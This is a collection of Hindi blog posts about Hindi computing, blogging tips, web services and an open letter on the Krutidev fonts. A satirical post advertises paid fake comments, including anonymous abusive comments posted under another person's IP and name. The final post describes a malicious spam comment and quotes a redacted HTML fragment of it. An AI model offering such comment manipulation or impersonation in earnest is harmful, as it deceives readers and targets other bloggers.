फिर भी, कुल मिलाकर हिन्दी वातावरण में काम करने का अनुभव सुखद तो है ही. फिर देर किस बात की ? आज ही डाउनलोड करें व संस्थापित करें. और, यदि आप विंडोज एक्सपी इस्तेमाल करते हैं तो भी आप हिन्दी भाषा पैक संस्थापित कर सकते हैं. इसकी भी कड़ी वहीं ऊपर दिए लिंक पर ही है.

संबंधित – विंडोज़ विस्ता पर हिन्दीमयी नजर

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चिट्ठाजगत् चिप्पियाँ: विंडोज विस्ता , विस्ता हिन्दी , windows vista hindi , vista

 

फ़ालतू की पैकिंग सामग्री की सहायता से रेखा ने जब एक बढ़िया सा गुलदान बनाया और फिर उसे घर की छत पर रखे असंख्य गमलों में उगे नन्हे-नन्हे पौधों के सुन्दर-सुन्दर फूलों से सजाया तो मुझे लगा कि इस गुलदान की सर्जनात्मकता व सुंदरता को आप सभी से बांटा जाए.

इस गुलदान का एकाध फोटो यहाँ लगाकर इतिश्री करने का विचार था, मगर इसी बीच एक नए, नायाब किस्म के फोटो-अपलोड-फोटो-स्लाइड-शो सेवा – कॉमबूस्ट के बारे में पता चला तो सोचा कि चलो इसे क्यों न आजमाया जाए. गुलदान का निम्न स्लाइड शो इसी सेवा से बनाया गया है.

Album powered by ComBoost zooms: 1 2

आप देखेंगे कि स्लाइड शो में गति को कम ज्यादा करने व ट्रांजीशन प्रभाव को बदलने के लिए ठीक यहीं पर ही पाँच विकल्प दिए गए हैं. यदि आप एक्टिव एक्स और जावा प्रोग्राम अपने कम्प्यूटर में चलने की इजाजत देते हैं तो कॉमबूस्ट में आप पचास फोटो (अधिकतम एक बार में 100 मेबा) को एक साथ, और बड़ी ही तीव्रता से – जैसा कि आप फ़ाइल मैनेजर से फ़ाइल ट्रांसफर करते हैं - अपलोड कर सकते हैं. व चाहे कितने ही फोटो अपलोड कर सकते हैं. व पारंपरिक रूप से भी एक-एक कर फोटो अपलोड कर सकते हैं.

कॉमबूस्ट प्रीमियम सेवा में और भी सेवाएँ अंतर्निमित हैं – आप एजेंडा बना सकते हैं, गैलरी बनाकर टाँग सकते हैं.

कॉमबूस्ट फोटो अपलोड व ऑनलाइन फोटो भंडारण सेवा इस्तेमाल में आसान है पंजीकरण दो-चरण युक्त है – आपको ईमेल के जरिए पुष्टि करना होगी. पंजीकृत होने के पश्चात् आप सीधे ही अपने फोटो कॉमबूस्ट में अपलोड कर सकते हैं. फिर उसे किसी एलबम में व्यवस्थित कर उसका स्लाइड शो बना सकते हैं और उसका कोड प्राप्त कर अपने चिट्ठे में लगा सकते हैं. हाँ, इसके इंटरफेस में कुछ बटन संभवतः फ्रांसीसी भाषा में आते हैं – पता नहीं क्यों!

अपने डिजिटल कैमरे से खींचे गए असंख्य, अनगिनत फोटो को इंटरनेट पर टांगने और उसे दुनिया के सामने प्रदर्शित करने का मुफ़्त और आसान तरीका. आपको और क्या चाहिए?

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चिट्ठाजगत् चिप्पियाँ: कॉमबूस्ट , ऑर्टअटैक , comboost , artattack




चिट्ठाकार मिलन समारोह की तमाम रपटें पढ़ीं. एक विशेष बात ने मुझे झकझोरा – आलोक जी की टिप्पणी पर मैथिली जी भावुक हो उठे थे. जहाँ आलोक जी का कहना भी सत्य है और उस पर मैं भी अमल करना चाहूँगा, वहीं मैथिली जी की सोच, भले ही उन्होंने आलोक जी की बात को व्यापक अर्थ में न लेकर व्यक्तिगत तौर पर ले लिए हों, भी सही है. व्यक्ति अपने पैशन, अपनी सोच और अपने विचारों को लेकर आमतौर पर भावुक तो होता ही है.

निम्न पत्र मैंने फरवरी 07 में मैथिली जी को लिखा था, और उनसे प्रकाशन की अनुमति मांगी थी. तब उन पर उनके नए नवेले कैफ़े हिन्दी साइट पर हिन्दी चिट्ठों की सामग्री अनुमति के बगैर प्रकाशित करने के आरोप लगाए गए थे. और, जाहिर है, इस चिट्ठा प्रविष्टि को प्रकाशित करने के लिए उन्होंने उस वक्त यह कह कर मना कर दिया था कि यह तो व्यक्तिगत विज्ञापन जैसा कुछ हो जाएगा. आज जब श्रीश जी की टिप्पणी से सबको मालूम हो चला है, तो मैं भी यहाँ धृष्टता करते हुए इस पत्राचार को उनसे पूछे बगैर प्रकाशित कर रहा हूँ. आशा है, वे इसे अन्यथा नहीं लेंगे और मुझे माफ़ करेंगे.

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आदरणीय मैथिली जी,
यह चिट्ठा पोस्ट मैं आपके लिए लिखना चाहता हूं. कृपया अनुमति देंगे. :)
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फलों से लदा वृक्ष सदैव झुका ही रहता है...

दूसरे तरीके से, इसी बात को कहा जाता है – थोथा चना बाजे घना. यानी जिनमें तत्व होता है, वे विनम्र होते हैं, और अनावश्यक हल्ले-गुल्ले में यकीन नहीं रखते.


इस बात को यकीनन सिद्ध करते हैं मैथिली गुप्त जी. मैथिली जी ने वैसे तो हिन्दी चिट्ठा जगत में अपने पदार्पण के साथ ही समुद्र की शांत लहरों में तीव्र हलचलें पैदा कर दी थीं, परंतु वे स्वयं शांत, विनम्र और झुके-झुके ही रहे. उनके कार्यों से विनम्रता के साथ उत्कृष्टता भी झलकती रही जिससे उनके बारे में और भी जानने की इच्छा बनी रही. उन्होंने संकेत दिया था कि हिन्दी के लिए उन्होंने पहले कुछ खास कार्य किए थे. मैंने उनसे निवेदन किया कि संभव हो तो वे अपने चिट्ठे पर बताएँ ताकि हमारे ज्ञान में वृद्धि हो सके.


परंतु मैथिली जी विनम्र ही बने रहे. उन्होंने मुझे अलग से बताया कि कृतिदेव, देवलिज, आगरा, अमन, कनिका, कृतिपैड इत्यादि श्रेणी के 400 से अधिक हिन्दी, गुजराती व तमिल फ़ॉन्ट्स की रचना इन्होंने की है तो मैं आश्चर्यचकित रह गया.


मैं कम्प्यूटरों पर हिन्दी में काम सन् 1987 से कर रहा हूँ – जब डॉस आधारित अक्षर पर काम होते थे. 1993-94 में विंडोज के आने के बाद धीरे से माइक्रोसॉफ़्ट वर्ड पर इक्का दुक्का हिन्दी फ़ॉन्ट से काम होने लगा था. इसके कुछ समय बाद कृतिदेव श्रेणी के हिन्दी फ़ॉन्ट्स आए और वे विंडोज के हर प्रोग्राम में हिन्दी में कार्य हेतु इस्तेमाल में लिए जाने लगे. यूनिकोड के आने से पहले मेरा भी सारा कार्य भी कृतिदेव में ही होता था. आज भी विंडोज़ 98 में हिन्दी डीटीपी अनुप्रयोगों में आमतौर पर या तो श्री-लिपि इस्तेमाल में ली जाती है या फिर कृतिदेव. कृतिदेव का इस्तेमाल अत्यंत आसान और किसी अन्य प्रोग्राम के भरोसे नहीं होने के कारण (आप सिर्फ फ़ॉन्ट संस्थापित कर विंडोज के किसी भी अनुप्रयोग में काम कर सकते हैं) यह बेहद लोकप्रिय भी रहा.

कृतिदेव फ़ॉन्ट की पायरेसी को रोकने के लिए किसी अन्य सुरक्षा उपकरण मसलन हार्डवेयर डांगल या की-फ़्लॉपी/ सीडी की आवश्यकता नहीं होने से आमतौर पर विंडोज कम्प्यूटरों में यह पूर्व संस्थापित (और संभवतः पायरेटेड ही) ही आता है. अभी भी करीब सत्तर हजार सरकारी और गैर सरकारी इंटरनेट साइटों में इसी श्रेणी के फ़ॉन्ट इस्तेमाल में लिए जा रहे हैं. व्यक्तिगत इस्तेमाल की संख्या तो लाखों में है. वेब जगत् के बहुत से हिन्दी फ़ॉन्ट भी इसी के वेरिएन्ट ही है. मुझे नहीं लगता कि मैथिली जी को मेरे जैसे प्रत्येक प्रयोक्ता से उनके कार्य की कीमत (रॉयल्टी) कभी मिली हो. अगर उन्हें मेरे जैसे प्रयोक्ताओं से एक रुपए भी लाइसेंस की फ़ीस के रूप में मिलते होते तो वे निःसंदेह आज भारत के सबसे अमीर सॉफ़्टवेयर प्रोग्रामरों में होते. रचनाकार की अस्सी प्रतिशत से अधिक सामग्री कृतिदेव फ़ॉन्ट से परिवर्तित सामग्री है. आज भी मेरे पास कृतिदेव से यूनिकोड में बदलने संबंधी सहयोग हेतु ईमेल आते रहते हैं – जिससे यह अंदाजा होना स्वाभाविक है कि कृतिदेव ने हिन्दी के लिये कितने महान कार्य किए हैं.


यह चिट्ठा पोस्ट उनके कृतिदेव फ़ॉन्ट के मेरे द्वारा अब तक इस्तेमाल के लाइसेंस फ़ीस के एवज के रूप में समर्पित. आगे के इस्तेमाल के लिए (रेखा (पत्नी) अभी भी इसी – कृतिदेव फ़ॉन्ट का इस्तेमाल करती हैं अपने नोट्स व पेपर्स तैयार करने के लिए) उन्हें लाइसेंस फ़ीस प्रदान कर हमें खुशी होगी.

मैथिली जी को सादर नमन्.
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सधन्यवाद,
रवि

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चित्र - सौजन्य - दुनिया मेरी नजर से

अद्यतन # 1 - मैथिली जी का नया, वर्तमान में प्रदर्शित चित्र अमित जी के सौजन्य से .

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मेरे, तरंग में आकर लिखे गए आत्मालाप पर पहले शास्त्री जी ने अपनी टिप्पणी में, और फिर ज्ञानदत्त जी ने अपने चिट्ठे में मुझसे प्रश्न किया कि जिस बिना पर मैंने आत्मालाप किया है, वैसा ही कुछ, अन्य चिट्ठाकारों चिट्ठों को कैसे प्राप्त हो – इस पर लिखें. यानी शुद्ध-सरल भाषा में – चिट्ठों पर हिट और चिट्ठे के समर्पित पाठक बढ़ाने के तरीके लिखें.

वैसे, सही में देखा जाए तो फ़ीडबर्नर के जो आंकड़े मेरे चिट्ठे पर दिख रहे हैं, वैसा ही कुछ जतन (ब्लॉगर+फ़ीडबर्नर फ़ीड योग) फ़ुरसतिया पर होता या संभवतः ई-पंडित या मोहल्ला पर होता तब भी ऐसा ही कुछ या इससे बेहतर आंकड़ा दिखाई देता होता – और इसीलिए मैंने कहा भी था – ज्यादा खुशी मनाने जैसी कोई बात नहीं, और, वैसे भी, ये तो शुरूआत है – आने वाले दिनों में सैकड़ों हजारों हिन्दी चिट्ठे तमाम तरह की लोकप्रियता प्राप्त करेंगे. दरअसल, अभी इंटरनेट का आम हिन्दी पाठक चिट्ठों के बारे में एक तरह से अंजान ही है. नहीं तो हिन्दीमीडिया को उसके प्रारंभ होने के मात्र दो महीने के भीतर ही दो-लाख हिट्स नहीं मिलते!

चलिए, फिर भी, अब जब चूंकि मुझे आसन पर बैठा ही दिया गया है, तो कुछ प्रवचन मैं भी दे ही देता हूँ. वैसे, प्रवचन तो हर कोई सुना सकता है. अब ये दीगर बात है कि श्रोता अमल करें या न करें, और, अहम् बात, किसे पता कि वाचक खुद अपने प्रवचनों पर अमल करता भी है या नहीं!

तो, लीजिए प्रस्तुत है चिट्ठों को हिट कराने के 10 प्रमुख नुस्ख़े –

# 1 - आप 200 के लिए नहीं, बल्कि 2000 के लिए लिखें, और हो सके तो 2 लाख के लिए लिखें.

# 2 – आप ऐसा लिखें जो आज भी पढ़ा जा सके, कल भी और परसों भी और आज से दस साल बाद भी. कालजयी प्रविष्टियाँ खोद-खाद कर लिखी-पढ़ी-और छापी जाती हैं, और हमेशा ताजा बनी रहती हैं.

# 3 - आप ऐसी, फुरसतिया, मनोरंजक, हास्य-विनोद की भाषा में लिखें जो सहज और सरल हो. दूसरों के बजाए अपने ऊपर जोक मारें – और आमतौर पर पाठकों को पता चल ही जाता है कि निशाने पर कौन है. अजदकी, भड़ासी व भदेस भाषा के अपने अलग, विशिष्ट, खास पाठक होते हैं, और, अत्यंत सीमित पाठक होते हैं.

# 4 - आप विषयों में विविधता रखें, उसे बहुआयामी बनाएँ – आज आलू के बारे में लिखा तो कल रतालू के बारे में लिखें. रोज आलू खा कर व्यक्ति चार दिन में बोर हो जाता है. आज आपने कविता लिखी है, कल ग़ज़ल ट्राई करें, परसों यात्रा वृत्तांत लिखें – भले ही वह आपके लोकल ट्रेन या मेट्रो के सफर का अलहदा सा वृत्तांत हो.

# 5 – आप अपने चिट्ठा पोस्ट में जहाँ तक बन पड़े, एकाध संदर्भित-असंदर्भित चित्र अवश्य डालें. यकीन मानिए, आपका कंप्यूटर और इंटरनेट चित्रों का भंडार है. दूसरे का चित्र या सामग्री हो तो उसे क्रेडिट अवश्य दें.

# 6 – आप एक पोस्ट लिखने से पहले कम से कम दस और हो सके तो बीस पोस्ट पढ़ें – आवश्यक नहीं कि हिन्दी में, और यह भी आवश्यक नहीं कि कम्प्यूटर पर ही पढ़ें (अखबारों-पत्र-पत्रिकाओं में पढ़ें). और, संभव हो तो जिस विषय पर लिख रहे हैं उस विषय के बारे में पढ़ें.

# 7 – आप जहाँ तक बन पड़े जवाबी पोस्ट न लिखें. उनकी कोई उम्र नहीं होती, और स्वतंत्र रुप से उनका कोई आधार भी नहीं होता. वह सिर्फ एक दिन के लिए प्रासंगिक, जीवंत होता है. दूसरे दिन वह अप्रासंगिक, मृतप्राय: हो जाता है.

# 8 - आप नियमित, कुछ न कुछ लिखें. प्रविष्टि 250 शब्दों से कम न हो – पाठक को यह न लगे कि यह पोस्ट प्रकाशित कर उसे बेवकूफ़ बनाया गया है. सप्ताह में कम से कम एक प्रविष्टि तो लिखें ही. अंग्रेज़ी के भारत के सर्वाधिक सफल ब्लॉगर अमित (और विश्व के दूसरे सफल ब्लॉगर भी) एक दिन में 5-6 प्रविष्टियाँ लिखते हैं – और, सारे के सारे जानकारी से भरे, विविधता पूर्ण.

# 9 - आप पाठकों की, टिप्पणियों की चिंता किए बगैर, नियमित लिखते रहें. जिस दिन आपके चिट्ठे पर सारगर्भित पोस्टों की संख्या हजार के आंकड़े को छू लेगी (अभी तो मेरे इस चिट्ठे ने भी नहीं छुआ है ;)), विश्वास रखिए, उस दिन आपके चिट्ठे के पाठकों की संख्या भी हजार को पार कर लेगी.

# 10 – ऊपर दिए गए नियमों को सिरे से नकार दें. चिट्ठे किसी नियम-बंधन-संपादन-विषयवस्तु से बंधे नहीं हैं. जो लिखना चाहें बिंदास लिखें. हिट-मिस की चिंता न करें. जब चाहें, जैसा चाहें लिखें, न चाहें न लिखें और चाहें तो अपने लिखे चिट्ठे मिटा दें और मिटा कर नए बना लें – चिट्ठा है भाई! मैं अपने चिट्ठे में कुछ भी करने को स्वतंत्र हूँ – क्योंकि ये चिट्ठा मेरा है!



पुनश्चः इस प्रविष्टि को प्रकाशित करने के तत्काल बाद ही यह रचना पढ़ने में आई -

कहें दीपक बापू मत पडो हिट- फ्लॉप के चक्कर में

आग्रह है कि उक्त रचना को इस प्रविष्टि का परिशिष्ट समझें!

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चिट्ठाजगत अधिकृत कड़ी


यदि आपको 40 जीबीपीएस की तेज रफ़्तार युक्त इंटरनेट कनेक्शन मिले तो आप उसे क्या कहेंगे?

वीवीआईपी के तर्ज वीवीब्रॉडबैण्ड?

विश्व का सर्वाधिक तेज रफ़्तार का, 40 जीबीपीएस ब्रॉडबैण्ड कनेक्शन स्वीडन के कार्लस्टेड निवासी 75 वर्षीया सिगब्रिट को हाल ही में दिया गया है.

वो इस तेजरफ़्तार ब्रॉडबैण्ड से क्या-क्या कर सकती हैं?

वे हाई-डेफ़िनिशन टीवी के 1500 चैनल एक साथ देख सकती हैं – जी, हाँ एक साथ, – यदि वे चैनलों को किसी स्क्रोलेबल विंडो में एक साथ चालू कर दें तो :)

या फिर, वे हाई डेफिनिशन डीवीडी की पूरी एक डीवीडी दो सेकण्ड में डाउनलोड कर सकती हैं.

यूँ तो यह तेजरफ़्तार ब्रॉडबैण्ड एक कंसेप्ट परियोजना का हिस्सा है, परंतु यह माना जा रहा है कि इसके व्यावसायिक-व्यापारिक रूप से संभव व सफल होने के पूरे आसार हैं.

मेरे लिए तो यह एक स्वप्न तुल्य बात है क्योंकि अभी मेरे पास बीएसएनएल का तथाकथित 2 एमबीपीएस ब्रॉडबैण्ड है इसके बावजूद वह ससुरा रेडियोवाणी के सुमधुर गीतों को बेसुरा बना देता है - गीतों को अटक-अटक कर जो सुनाता है , क्योंकि यह कभी भी 50 केबीपीएस से आगे की रफ़्तार पकड़ता ही नहीं! :(



जी हाँ, आज अपुन का भी सैकड़ा पार हो रिएला है. :)किदर को भाई?

जरा बाजू पट्टी में निगाह मारने का.

अपुन का इस हिन्दी बिलाग का फ़ीड बर्नर में पढ़ने वालों का आंकड़ा तीन फ़िगर में होएला है साब.

अब इंतजार है कि कब मामला चार फिगर में आए.

बहूत पहले अपने पगार को चार फिगर में आने को तरसता था - कोई 1984-85 में पहली मर्तबा फोर फिगर सेलेरी मिली थी - 1004.50 रुपए. वोईच खुशी हो रिएला है बाप!

वैसे, ये ब्लॉगर-फ़ीडबर्नर मिलन का कमाल है भिड़ु सो जियादा खुशी नईं मनाने का.

चिट्ठाजगत् चिप्पियाँ: हिन्दी , हिन्द ब्लॉग , फीड बर्नर , hindi , hindi blog , feedburner



और, टिप्पणियाँ मुझसे खरीदिए. 100 टिप्पणियों के लिए 1000 रुपए, 500 टिप्पणियों के लिए 5000 रुपए, 1000 टिप्पणियों के लिए दस हजार रुपए. ये टिप्पणियाँ स्वचालित बॉट के जरिए नहीं होंगी, परंतु बढ़िया, शुद्ध हिन्दी के जानकार कम्प्यूटर उपयोक्ताओं द्वारा की जाएंगी जो आपके ब्लॉग पोस्टों को पढ़ेंगे और फिर उस पर बढ़िया सी, पोस्ट के विषय वस्तु से मिलती जुलती, कम से कम तीन लाइनों की और अधिकतम दस लाइनों की शानदार टिप्पणियाँ करेंगे. सिर्फ हेहेहे और स्माइली टाइप नहीं. और वे कोई दर्जन-दो-दर्जन ब्लॉगर – वर्डप्रेस के असली खाते से नाम और प्रोफ़ाइल युक्त टिप्पणियाँ करेंगे. बेनामी नहीं, गाली गलौज की नहीं, असभ्य नहीं. सभ्य, सुंदर, समीचीन टिप्पणियों की गारंटी.

क्या आपको पता है कि आपके चिट्ठे की टिप्पणियाँ आपके चिट्ठे के रैंक को बढ़ाती हैं उनका दर्जा संवारती हैं? आपके चिट्ठे में जितने ज्यादा कमेंट्स होंगे, जितनी ज्यादा टिप्पणियाँ होंगी, जितने ज्यादा चिट्ठों के बैकलिंक्स होंगे, आपके चिट्ठे का दर्जा हर कहीं ज्यादा होगा. आपके चिट्ठे का पीआर (गूगल पेज रेंक, ईडियट,) ज्यादा होगा. और फिर आपके चिट्ठे को सर्च इंजिनों द्वारा ज्यादा तरजीह दी जाएगी. यह सारा सिलसिला साइक्लिक होता है और जाहिर है, हमारी टिप्पणियों की सेवा के कारण देखते ही देखते आपका चिट्ठा जमीन से आसमान पर पहुँच जाएगा. आपके चिट्ठे को धड़ाधड़ विज्ञापन मिलने लगेंगे और एडसेंस जैसे प्रकल्पों के जरिए आप शीघ्र ही मिलिनेयर बन जाएंगे.

वर्तमान में हमारे पास कोई आधा दर्जन बेहतरीन, हिन्दी-भाषाविद् टिप्पणीकार हैं जो आपके हिन्दी चिट्ठों को बढ़िया, शानदार, शुद्ध हिन्दी की टिप्पणियों से पाट सकते हैं. यह सेवा प्रथम आएँ प्रथम पाएँ के आधार पर उपलब्ध है और सीमित समय के लिए, सीमित चिटठों के लिए उपलब्ध है. कहीं ऐसा न हो कि मामला हाथ से निकल जाए और आप बैठे ही रह जाएँ. तो जल्दी करें, आज ही हमसे संपर्क करें.

पुनश्च: 1 – अच्छी-सभ्य-हिन्दी भाषा के जानकार, सभ्य भाषा में लिखने वाले, जिनका पारा हमेशा ठंडा रहता हो, जो भूलकर भी असभ्य भाषा में नहीं लिख सकते ऐसे टिप्पणीकारों की भर्ती चालू है. शीघ्र आवेदन करें. सक्षम उम्मीदवार के लिए इंडस्ट्री का सबसे बेहतरीन पे-पैकेज व सुविधाएं उपलब्ध व कोई सीमा नहीं.

पुनः पुनश्च: - दूसरों के चिट्ठों पर डलवाने हेतु असभ्य, गाली-गलौज वाली टिप्पणियों हेतु प्रीमियम सेवा भी उपलब्ध है. इसके लिए ऊपर दिए रेट में ढाई सौ प्रतिशत प्रीमियम लिया जावेगा. बेनामी, कुनामी की पूरी गारंटी. डबल प्रीमियम रेट पर किसी अन्य के आई पी पते व नाम से असभ्य टिप्पणियों की सेवा भी उपलब्ध. शीघ्र संपर्क करें.

लेख आइडिया : यह जाल स्थल

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वैसे तो इंटरनेट के जरिए आभासी शुभकामना संदेश कार्ड (वर्चुअल ग्रीटिंग कार्ड) लेने देने का काम बरसों से चल रहा है और क्या ख़ूब चल रहा है. एक से एक कल्पनातीत रंगों व डिजाइनों में आप कार्डों का आदान प्रदान कर सकते हैं और कुछेक को छोड़कर आमतौर पर सभी में अब यूनिकोड हिन्दी का पूरा समर्थन भी उपलब्ध है.

हाल ही में एक ऐसा ही, नया, नायाब किस्म का आभासी गुलदस्ता (वर्चुअल बुके) लेने-देने की सेवा देआरब्यूटीफ़ुल के नाम से प्रारंभ किया गया है. इसमें नया और नायाब क्या है?

इस सेवा के जरिए आप किसी को भी ईमेल के जरिए मुफ़्त में आभासी गुलदस्ता प्रेषित कर सकते हैं. जिसे आपने गुलदस्ता भेजा है, वह आपके द्वारा भेजे गए गुलदस्ते को अपने ई-मेल में प्राप्त कड़ी पर जाकर देख सकता है. गुलदस्ते के साथ आप अपना संदेश भी चिपका सकते हैं. मैंने हिन्दी में चिपकाने की कोशिश की तो वे ??? प्रश्नवाचक चिह्न बन गए.

परंतु रुकिए. यह गुलदस्ता यूँ तो आभासी है, परंतु व्यवहार में यह पूरा असली प्रतीत होता है. यदि आपने उसमें समय-समय पर पानी नहीं डाला तो वह मुरझाने लगेगा. और अंततः सूख जाएगा. और यही इस आभासी गुलदस्ता सेवा - देआरब्यूटीफ़ुल की ख़ासियत है.

देआरब्यूटीफ़ुल में एक से एक गुलदस्ते हैं. अभी बीटा अवस्था में गुलदस्तों की संख्या थोड़ी सी कम है. उम्मीद है कुछ ही समय में हमें दर्जनों और गुलदस्ते चुनाव के लिए मिलेंगे. इंटरनेट पर वर्चुअल पेट (आभासी पालतू जानवर) भी कुछ अरसे से लोग पाल रहे थे. अब अपना कोई जान से प्यारा प्रिय हमें देआरब्यूटीफ़ुल का उतना ही प्यारा सा गुलदस्ता हमें भेजेगा तो उसे सूखने और सड़ने से बचाने के लिए उपाय तो हमें करते रहने होंगे. वो भी नियमित.

इंटरनेट पर घोर व्यस्त रहने के लिए एक और काम? हे ! भगवान.

अकसर यह प्रश्न बारंबार पूछा जाता है.

हिन्दी में कैसे लिखें. इस चिट्ठे पर साइडबार में भी कड़ियाँ हैं, परंतु पाठकों की निगाहें शायद वहां भी निगाह नहीं जा पाती.

हिन्दी सहायता के लिए बहुत से मित्रों ने बहुत अच्छे प्रयास कर बढ़िया लेख लिख रखे हैं. पहले इन्हें ध्यानपूर्वक पढ़ें फिर भी कोई समस्या हो तो निसंकोच पूछें.

हिन्दी टूल किट इन्सटाल - हिन्दी में 7 प्रकार के कुंजीपट - इनस्क्रिप्ट, रेमिंगटन (कृतिदेव), फ़ोनेटिक इत्यादि से लिखने के लिए अपने कम्प्यूटर को बिना विंडोज एक्सपी सीडी  कैसे सेट करें

हिन्दी में कैसे लिखें - यू-ट्यूब पर एक और वीडियो ट्यूटोरियल

हिन्दी पढ़ने लिखने में समस्याएं व उनका निराकरण

हिन्दी के बारे में बारंबार पूछे जाने वाले सवाल

कम्प्यूटर पर हिन्दी लिखने पढ़ने के बारे में विस्तृत सहायता



हिन्दी में कैसे लिखें - वीडियो ट्यूटोरियल

आसानी से देवनागरी में कैसे लिखें? चित्रमय उदाहरण

हिन्दी में चिट्ठा लिखने हेतु वीडियो ट्यूटोरियल वर्ड प्रेस के लिए तथा ब्लॉगर ब्लॉगस्पॉट के लिए
उपरोक्त दोनों कड़ियाँ ई-शिक्षक के सौजन्य से, जहाँ हिन्दी कम्प्यूटिंग से संबंधित अन्य सामग्री भी आपको मिलेगी.

हिन्दी से संबंधित इंटरनेट पर तमाम कड़ियाँ



आप यहाँ पर पंजीकृत होकर अपनी भी समस्या रख सकते हैं, और घंटे दो घंटे के भीतर ही अपनी समस्या का समाधान ऑनलाइन पा सकते हैं - वह भी कई-कई विधियों द्वारा!


उम्मीद है इन कड़ियों से आपकी हिन्दी संबंधी समस्याओं का समाधान हो सकेगा.

अद्यतन #1 अपनी टैली के शैलेन्द्र ने बताया है कि हिन्दी कलम नाम का यह हिन्दी लिखने का ऑनलाइन औजार बहुत बढ़िया काम करता है. इसका इंटरफेस आसान और स्वच्छ है.

अद्यतन # 2 पाठकों ने बताया था कि ब्लॉगर ब्लॉग बनाने की कड़ी गलत है. इसे ठीक कर दिया गया है. पाठकों को कोई समस्या हो तो वे इसी चिट्ठे पर टिप्पणियों के माध्यम से पूछें - अलग से ई-मेल न करें ताकि दूसरे पाठकों को भी उसी तरह की समस्या का समाधान यहीं मिल सके.

नए नवेले हिन्दी चिट्ठा एकत्रक चिट्ठाजगत् में टैग की सुविधाएँ दी गई हैं. ठीक वैसा ही जैसा टेक्नोराती में है. जिससे कि एक ही टैग से संबंधित सभी चिट्ठा प्रविष्टियों को देखा जा सके. परंतु चिट्ठों में टैग लगाने के लिए चिट्ठाजगत् का कोड जाहिर है थोड़ा सा अलग रखा गया है.

अपने चिट्ठों में चिट्ठाजगत् का टैग कोड कैसे लगाएँ इसका विवरण चिट्ठाजगत् में यहाँ पर दिया गया है. परंतु वह बहुत ही लंबा, उबाऊ प्रक्रिया है और हर टैग के लिए एचटीएमएल कोड जेनरेट कर / बना कर उसे नकल-चिपका कर काम में लेना होगा.

यदि आप अपना चिट्ठा लिखने के लिए विंडोज लाइव राइटर इस्तेमाल करते हैं तो चिट्ठाजगत् का कोड लगाना बहुत ही आसान है. कैसे? आइए, देखते हैं-

इसके लिए विंडोज लाइव राइटर प्रारंभ करें.

अब Insert > Tags को क्लिक कर टैग लगाने का डॉयलॉग बॉक्स खोलें. नीचे Tag Provider: ड्रॉप डाउन मेन्यू में क्लिक कर (Customize Providers…) चुनें. अब Add बटन को क्लिक करें.

एक नया बक्सा खुलेगा जिसमें टैग लगाने के लिए चिट्ठाजगत् के नाम का एक नया प्रोवाइडर बनाने के लिए आप आवश्यक जानकारी भर सकेंगे.

सबसे ऊपर Provider Name वाले बक्से में लिखें – चिट्ठाजगत

ऊपर से दूसरे नंबर के खाने में जहाँ पर HTML template for each tag लिखा है, वहाँ यह कोड चिपका दें –

<a href="http://www.chitthajagat.in/?shabd={tag-encoded}" title="{tag} सम्बन्धित चिट्ठे">{tag}</a>

तीसरे नंबर के खाने को वैसा ही रहने दें तथा ऊपर से चौथे नंबर के खाने में Tags की जगह या तो टैग लिख दें या चिप्पियाँ या चाहे कोई और शब्द जैसे पहचान-पर्ची. आप चाहें तो उसे Tag ही रहने दे सकते हैं.

अंतिम रूप में विंडोज लाइव राइटर का यह नया टैग प्रोवाइडर बनाने का बक्सा कुछ यूं दिखेगा:

बस, आपका काम हो गया. OK पर क्लिक करें व जैसा आप टेक्नोराती या डेलिशियस के लिए स्वचालित टैग लगाते हैं, वैसा अब चिट्ठाजगत के लिए भी आपको विकल्प विंडोज लाइव राइटर में मिलेगा. उसे चुनें व अपने पोस्टों को टैगियाएँ.

कोई समस्या? भाई, टिप्पणी काहे के लिए है? :)

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चिट्ठाजगत् चिप्पियाँ: चिट्टाजगत् , chitthajagat , chitthajagat.in



पिछले दिनों इस चिट्ठे के एक पोस्ट में एक बेनामी टिप्पणी आई जो कुछ यूँ थी –

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मुझे लगा कि ये मेरे किसी ब्लॉग प्रशंसक (या धुर-आलोचक) की टिप्पणी है जो संभवतः हिन्दी में लिखना चाह रहा होगा और बेचारा कुछ समस्या के कारण लिख नहीं पा रहा होगा.

मेरे ईमेल में इसकी सूचना मिलते ही वस्तु-स्थिति जांचने अपने चिट्ठे पर जब उस टिप्पणी को देखने गया तो एक अजीब घटना हुई.

चिट्ठे पर टिप्पणी देखने की कड़ी को क्लिक करते ही वह ब्राउज़र को दूसरी साइट पर ले जाने लगा, और फ़ॉयरफ़ॉक्स के सुरक्षा तंत्र ने सचेत किया कि यह एक असुरक्षित साइट है.

एक सेकंड को तो कुछ समझ में नहीं आया कि ये क्या हो रहा है, परंतु फिर एकाएक बिजली कौंधी.

मुझे लगा कि हो न हो इस टिप्पणी में कुछ स्क्रिप्ट / कोड छुपा है – हालांकि ब्लॉगर किसी अवांछित कोड को टिप्पणी में डालने नहीं देता है, फिर भी होशियारी से कोई अवांछित कोड डालने में सफल हो ही चुका था.

उस टिप्पणी के एचटीएमएल स्रोत को देखने पर वह कुछ ऐसा दिखा –

<a href=3D"http://raviratlami.blogspo=
t.com/2007/07/u-s.html">=C2=BF=C7=9D=C9=B9=C7=9D=C9=A5 u=C7=9D=CA=87=CA=87=
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जाहिर है, यह जो अपठनीय पाठ टिप्पणी के रूप में लिखा था, उसमें उस शैतानी साइट पर उपलब्ध शैतानी स्क्रिप्ट की कड़ी थी (जिसे मिटाकर ****** बना दिया गया है) जिसे लिंक किया गया था. ब्लॉगर टिप्पणी में आप किसी भी जाल पृष्ठ को लिंक कर सकते हैं – इसी सुविधा का लाभ यहाँ उठाया गया था. और मेरे चिट्ठे पर हमला किया था. आमतौर पर ऐसे चिट्ठे स्वचालित बॉट द्वारा किए जाते हैं जो एक साथ हजारों लाखों इंटरनेट पृष्ठों को अपना शिकार बनाने की कोशिश करते हैं – सुरक्षा की खामियाँ जहाँ दिखती हैं, वे उसी का इस्तेमाल करते हैं.

रहा सवाल जाल पृष्ठों पर हमलों का, तो कोई भी कभी भी सुरक्षित नहीं है – यह दुनिया रिलेटिव है. ये खबर देखें, जो ज्यादा पुरानी नहीं है – माइक्रोसॉफ़्ट की एक साइट को एक हैकर ने हैक कर उसमें सऊदी अरब का झंडा लहरा दिया था. हमला उसी तरह के डाटाबेस में हुआ था जिसमें हमारे आपके चिट्ठों के पाठ - चाहे वे ब्लॉगर के हों या वर्डप्रेस के - भंडारित रहते हैं.

